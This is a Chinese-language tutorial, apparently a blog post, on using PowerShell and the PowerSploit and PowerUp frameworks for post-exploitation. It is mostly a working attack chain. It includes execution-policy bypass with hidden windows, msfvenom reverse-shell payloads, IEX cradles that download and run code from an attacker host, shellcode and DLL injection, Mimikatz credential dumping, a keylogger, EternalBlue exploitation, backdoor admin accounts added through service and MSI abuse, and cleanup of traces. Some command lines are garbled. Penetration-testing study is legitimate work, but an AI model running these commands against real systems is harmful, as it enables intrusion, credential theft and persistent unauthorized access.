Powershell攻击指南1——PowerSploit
目录
1.1PowerShell技术
1.2PowerShell基本概念
1.3PowerShell常用命令
2.PowerSploit
3.PowerSploit脚本攻击
Invode-shellcode
Invoke-Dlllnjection
Invoke-Portscan
Invoke-Mimikatz
Get-Keystrokes
4.PowerUp攻击模块
5.PowerUp攻击模块实战
实战1
实战2
1.1PowerShell技术
灵活且能功能化管理Windows系统,一旦攻击者可以在计算机上执行代码,就可下载powershell脚本(.ps1)到磁盘中执行,甚至可以直接在内存中执行。
常用的powershell攻击工具:
- PowerSploit: 这是众多owehShe攻击工具中被广泛使用的PoweShel后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
- Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、 延时命令等脚本。
- Empire:基于PowerShel的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
- PowerCat: PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过CP和UDP在网络中读写数据。通过与其他工具结合和重定问,可以在脚本中以多种方式使用它。
PowerShell有以下这几个优点。
- Windows7以上的操作系统默认安装
- PowerShell脚本可以运行在内存中,不需要写入磁盘。
- 可以从另一个系统中下载PowerShell脚本并执行。
- 目前很多工具都是基于PowerShell开发的。
- 很多安全软件并不能检测到PowerShell的活动。
- cmd.exe通常会被阻止运行,但是PowerShell不会 。
- 可以用来管理活动目录。
查看PowerShell版本
Get-Host
$PSVersionTable.PSVERSION
1.2PowerShell基本概念
1. PS1文件
Rowusel 本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为Powerhe脚本的文本文件,它的文件名需要加上.PS1的扩展名。
2.执行策略
为防止恶意脚本的执行,PowerShell有 一个执行策略,默认情况下,这个执行策略被设为受限。在PowerShel1脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
Get-ExecutionPolicy
Restricted:脚本不能运行(默认设置)。
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned:仅当脚本由受信任的发布者签名时才能运行。
Unrestricted:允许所有的script运行。
3.运行脚本
.\test.ps1 #运行当前目录下的powershell
4.管道
get-process p* | stop-process
1.3PowerShell常用命令
1.基本命令
新建目录: New-ltem whitecellclub-ltemType Directory。
新建文件: New-ltem light.txt-ltemType File。
删除目录: Remove-ltem whitecellclub.
显示文本内容: Get-Content test.txt。
设置文本内容: Set-Content test.txt Value "ell,word!"。
追加内容: Add-Content light.txt-Value "i love you"。
清除内容: Clear-Content test.txt。
2.常用命令
如果要运行PowerShe脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些力法绕过策略来执行脚本,比如下面的三种
绕过本地权限执行
上传txxp1至目标服务器,在CMD环境下,在目标服务各本地执行该脚本,如下所示。
PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfif -File xx.ps1用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIEX(New-ObjectNet .WebClient).DownloadString(("xxx.ps1");[Parameters]Exctiolioc Byass绕过执行安全策略,这个参数非常重要,在默认情况下,PwerShel的安全策略规定PowerSheel不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden:隐藏窗口。
NoLogo:启动不显示版权标志的PowerShell。
NonInteractive (-NonI) :非交互模式,PowerShell不为用户提供交互
NoProfile(-NoP) : PowerShell控制 台不加载当前用户的配置文件。
Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
2.PowerSploit
开启apache,并将文件复制到html目录下
service apache2 start
cp -r powersploit/ /var/www/html/
PowerSploit模块介绍
- AntivirusBupass:发现杀毒软件的查杀特征
- CodeExecution:在目标主机上执行代码
- Exfiltration:目标主机上的信息搜集工具。
- Mayhem:蓝屏等破坏性脚本。
- Persistence:后门脚本(持久性控制)。
- Recon:以目标主机为跳板进行内网信息侦查。
- ScriptModifcation:在目标主机上创建或修改脚本。
3.PowerSploit脚本攻击
Invode-shellcode
msf监听和生成powershell木马
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.0.109
set LPORT 8888
run
msfvenom -p /windows/meterpreter/reverse_https LHOST=192.168.0.109 LPORT=8888 -f powershell -o /var/www/html/test
1.直接执行ShellCode反弹shell
win7下载木马并执行
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1") #下载脚本IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test") #下载木马Invoke-Shellcode -Shellcode ($buf) -Force #执行命令
2.指定进程注入反弹shell
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test")get-process
Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden #开启一个无回显的进程
Invoke-Shellcode -ProcessID 5032 -Shellcode($buf) -Force #进程注入
Invoke-Dlllnjection
使用Code Execution模块下的另一个脚本Invoke-DLLInjection,这是一个DLL注入的脚本
1.使用msfvenom生成dll后门,并开启监听同上
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=8888 -f dll -o /var/www/html/test.dll
2.下载脚本和木马
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-DllInjection.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test.dll")Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 2000 -Dll c:\test.dll
Invoke-Portscan
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Recon/Invoke-Portscan.ps1") Invoke-Portscan -Hosts 192.168.0.104,192.168.0.109 -Ports "80,445,22,139,3389"
Invoke-Mimikatz
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
Get-Keystrokes
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Get-Keystrokes.ps1")
Get-Keystrokes -LogPath c:\test.txt
4.PowerUp攻击模块
Set-ExecutionPolicy Unrestricted #本地演示此模块,powershell设置成执行任意脚本模式Import-Module .\PowerUp.ps1
Get-Help invoke-allchecks -full
1.Invoke-AllChecks
Invoke-AllChecks
2.Find-PathHijack
3.Get-ApplicationHost——利用系统上config文件恢复加密过的应用池和虚拟目录密码
4.Get-RegAlwaysInstallElevated 检查注册表项是否被设置
5.Get-RegAutoLogon——检测winlgoin注册表有没有被设置,可查询默认用户名和密码
6. Get-ServiceDetail——返回某服务的信息
PS C:\> Get-ServiceDetail位于命令管道位置 1 的 cmdlet Get-ServiceDetail
请为以下参数提供值:
ServiceName: dhcpName : Dhcp
Status : OK
ExitCode : 0
DesktopInteract : False
ErrorControl : Normal
PathName : C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
7.Get-ServiceFilePermission
8.Test-ServiceDaclPermission检查所有可用的服务,并尝试对这些打开的服务进行修改
9.Get-ServiceUnquoted检查空格路径的漏洞
10.Get-UnattendedInstallFile检查部署凭据
11.Get-ModifiableRegistryAutoRun检查开机自启的应用程序路径和注册表键值
12.Get-ModifiableScheduledTaskFile返回用户可修改的计划任务名称和路径
13.Get-Webconfig——检查web.config数据库
14.Invoke-ServiceAbuse——修改服务来添加用户到指定组,并通过设置cmd参数触发添加用户的自定义命令
Invoke-ServiceAbuse -ServiceName VulnSVC -Username "TESTLAB\johb" #指定添加的域账号
15.Restart-ServiceBinary——恢复服务的可执行文件到原始目录
16.Test-ServiceDaclPermission——检查某个用户是否在服务中有自由访问控制的权限
Test-ServiceDaclPermission -ServiceName VulnSVC
17.Write-HijackDll输出一个自定义命令并能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的DLL
18.Write-UserAddMSI
19. Write-ServiceBinary——用于预编译的C#服务的可执行文件
Write-ServiceBinary -ServiceName VulnSVC #添加默认账号
Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" #添加域账号
Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! #指定添加用户,用户密码以及添加的用户组
Write-ServiceBinary -ServiceName VulnSVC -Command "net......" #自定义执行命令
20.Install-ServiceBinary——写一个C#的服务用来添加用户
Install-ServiceBinary -ServiceName DHCP
5.PowerUp攻击模块实战
实战1
使用了Invoke-AllChecks,Install-ServiceBinary,Get-ServiceUnquoted,Test-ServiceDaclPermission,Restart-ServiceBinary
1.使用msf攻击win7反弹shell
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.0.104
set payload windows/x64/meterpreter/reverse_tcp
show options
exploit
2.上传PowerUp脚本,然后执行
getuid
upload /var/www/html/powersploit/Privesc/PowerUp.ps1 c:\
使用IEX在内存中加载此脚本
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks"
也可以在cmd环境下使用命令绕过执行该脚本
powershell.exe -exec bypass -Command "& {Import-Moudle .\PowerUp.ps1; Invoke-AllChecks}"
3.检查漏洞是否可以提权,书中查看的是Checking for unquoted service path模块,此虚拟机没有检测出此漏洞
4.使用icacls检测有漏洞的目录是否具有写入权限,验证powerup脚本检测是否正确
icacls "C:\PROGRA~2\SOGOUP~1\970~1.369\SGTool.exe"
5.使用AbuserFunction给出的具体操作方式,执行命令
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 1234powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 1234
6.添加用户
当管理员运行 net start SGTool时,会添加我们的账号低权限开启服务需要重启系统
shutdown -r -f -t 0net user #查看用户
net localgroup administrators
7.清除痕迹
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Restore-ServiceBinary -ServiceName 'SGTool'执行命令后可以把所有的状态恢复到最初的状态
实战2
使用Get-RegAlwaysInstallElevated,Write-UserAddMSI模块
1.前提:win+r打开gpedit.msc,需要把组策略中的计算机配置和用户配置中Windows组件中的Windows Installer->永远以最高权限进行安装启用
2.可以使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检查注册表项是否被设置,如果AlwaysInstallElevated注册表项被设置,意味着MSI文件是以SYSTEM权限运行的。执行该模板的命令如下,True表示已经设置
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Get-RegAlwaysInstallElevated"
3.添加新用户Write-UserAddMSI
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Write-UserAddMSI"
4.普通用户权限运行UserAdd.msi
msiexec /q /i Useradd.msi
5.查看用户
Powershell攻击指南1——PowerSploit相关推荐
- PowerShell攻击指南
文章目录 一:PowerShell简介 1.1:基本概念 1.2:执行策略与绕过 1.3:常用命令 二:PowerSploit 2.1:PowerSploit安装 2.2:PowerSploit攻击实 ...
- 《Windows PowerShell实战指南(第2版)》——3.4 使用帮助找命令
本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第3章,第3.4节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...
- 《Windows PowerShell实战指南(第2版)》——1.5 安装Windows PowerShell
本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第1章,第1.5节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...
- windows powershell实战指南_【安全研究】powershell在主机中是否存在安全隐患?
近日,安全狗海青实验室在研究powershell攻击运用到主机实战场景时,对powershell在主机中是否存在安全问题进行了一次较为全面的分析,并介绍了powershell从灰色工具逐步演变成为攻击 ...
- 《Windows PowerShell实战指南(第2版)》——1.4 搭建自己的实验环境
本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第1章,第1.4节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...
- 基于nginx配置的WordPress网站防御17ce等测速网站攻击指南
本文原文:基于宝塔面板nginx配置的WordPress网站防御攻击指南-奇它博客 免插件实现WordPress网站屏蔽后台搜索词广告 WordPress网站批量更换文章固定链接(百度收录自动301跳 ...
- windows powershell实战指南(第3版)_Windows命令行工具cmder配置(转)
著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处 作者:memor链接:https://segmentfault.com/a/1190000011361877 来源:http://s ...
- Windows PowerShell 实战指南-附录(复习实验)-实验回顾1
任务1: 运行一个命令,从而显示应用程序事件日志中最新的100个条目,不要使用Get-WinEvent. 解答: get-eventlog -computername localhost -logna ...
- kali连接蓝牙_蓝牙攻击指南(kali)
基本操作 hciconfig 查看蓝牙设备信息 hcitool:这是一个查询工具. 可以用来查询设备名称,设备ID,设备类别和设备时钟. hcidump:可以使用这个来嗅探蓝牙通信 hciconfig ...
- 微软Azure PowerShell使用指南(2) - 控制虚拟机
如上篇,选择相应的订阅信息后,我们就可以开始使用我们的云资源.这篇我们介绍如何创建虚拟机并且通过PowerShell就可以控制虚拟机. 创建虚拟机 微软提供了非常多的操作系统镜像,从Windows 2 ...
最新文章
- CvBlobTrackerCC 多目标跟踪算法简析
- TensorFlow2.0正式版发布,极简安装TF2.0(CPUGPU)教程
- 小作文十大必背范文:五星级真题
- ACL 2019年度回顾:自然语言处理发展趋势
- php url 筛选,PHP获取当前URL路径的处理方法(适用于多条件筛选列表)
- 域电脑不能显示桌面_学会这些电脑操作,工作更高效,摸鱼更舒适!
- C++ vector使用的一些注意事项
- cocos2d-x android 环境搭配,cocos2d-x Android环境配置问题和解决方法
- JSP中的注释操作及JSP中的三种Scriptlet
- C# 实现 rtc_通过Xlua实现unity热更新的一个小例子
- JavaScript Document对象DOM
- 【mac】mac 安装 RibbitMQ 报错 Error when reading /Users/lcc/.erlang.cookie: eacces
- Mock(模拟后端接口数据)配合Vuex的使用
- 你有被代理过吗?讲讲开源框架都在用的代理模式
- 判断OS版本的几个方法
- Linux驱动中私有数据filp-private_data的作用
- mysql数据库:varchar类型可以存储多少个汉字,多少个数字
- csu-2018年11月月赛Round2-div1题解
- systeminfo命令
- 各大工业机器人品牌大全